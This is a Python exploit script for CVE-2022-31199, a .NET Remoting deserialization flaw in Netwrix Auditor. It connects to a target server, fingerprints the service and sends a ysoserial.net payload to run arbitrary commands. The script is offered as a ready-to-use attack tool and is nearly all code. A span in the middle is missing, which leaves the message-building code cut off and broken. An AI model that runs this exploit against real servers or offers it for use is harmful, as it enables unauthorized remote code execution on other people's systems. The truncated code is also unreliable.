#!/usr/bin/env python3 """ CVE-2022-31199 - Netwrix Auditor RCE Exploit Insecure .NET Remoting Deserialization Author: Security Researcher References: - https://bishopfox.com/blog/netwrix-auditor-advisory - https://github.com/tyranid/ExploitRemotingService - https://github.com/pwntester/ysoserial.net Requirements: - Python 3.6+ - ysoserial.net (Windows) - ExploitRemotingService (Windows) Usage: python3 exploit.py --target --port 9004 --cmd "whoami" """ import socket import argparse import sys import struct import base64 from typing import Optional class NetwrixExploit: def __init__(self, target: str, port: int = 9004, endpoint: str = "UAVRServer"): self.target = target self.port = port self.endpoint = endpoint self.socket = None def connect(self) -> bool: """Connect to the target Netwrix server""" try: self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.settimeout(10) self.socket.connect((self.target, self.port)) print(f"[+] Connected to {self.target}:{self.port}") return True except Exception as e: print(f"[-] Connection failed: {e}") return False def check_vulnerable(self) -> bool: """Check if the target is vulnerable""" try: # Send .NET Remoting probe probe = self.craft_remoting_probe() self.socket.send(probe) response = self.socket.recv(4096) if b".NET" in response or b"Remoting" in response or b"UAVRServer" in response: print("[+] Target appears to be running .NET Remoting service") if b"UAVRServer" in response or b"Netwrix" in response: print("[+] Netwrix Auditor service detected!") return True else: print("[-] .NET Remoting service not detected") except Exception as e: print(f"[-] Error during vulnerability check: {e}") return False def craft_remoting_probe(self) -> bytes: """Craft a .NET Remoting probe packet""" # .NET Remoting Protocol Header preamble = b'\x00\x01\x00\x00\x01\x00\x00\x00' # URI Header for UAVRServer uri_header = b'\x00\x00\x00\x00\x00\x0c\x02\x00\x00\x00' # System.Runtime.Remoting reference remoting_ref = b'\\System.Runtime.Remoting.Messaging, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\n' return preamble + uri_header + remoting_ref def send_payload(self, ysoserial_payload: str) -> bool: """ Send serialized payload to target Args: ysoserial_payload: Base64 encoded payload from ysoserial.net """ try: # Decode payload payload_bytes = base64.b64decode(ysoserial_payload) # Craft .NET Remoting message message = self.craft_remoting_message(payload_bytes) # Send payload self.socket.send(message) print("[+] Payload sent successfully") # Receive response response = self.socket.recv(4096) # Check for exception (indicates execution) if b"Exception" in response or b"Error" in response: print("[+] Target processed payload (exception returned - likely executed)") return True else: print("[?] Unexpected response") print(f"Response: {response[:200]}") except Exception as e: print(f"[-] Error sending payload: {e}") return False def craft_remoting_message(self, payload: bytes) -> bytes: """Craft complete .NET Remoting message with payload""" # .NET Remoting headers preamble = b'\x00\x01\x00\x00\x01\x00\x00\x00' # Message headers headers = b'\x00\x00\x00\x00\x00' # URI for UAVRServer uri = self.endpoint.encode() + b'\x00' # Length prefix length = struct.pack(' C:\\temp\\out.txt\"") else: print("\n[-] Target does not appear vulnerable") exploit.close() if __name__ == "__main__": main()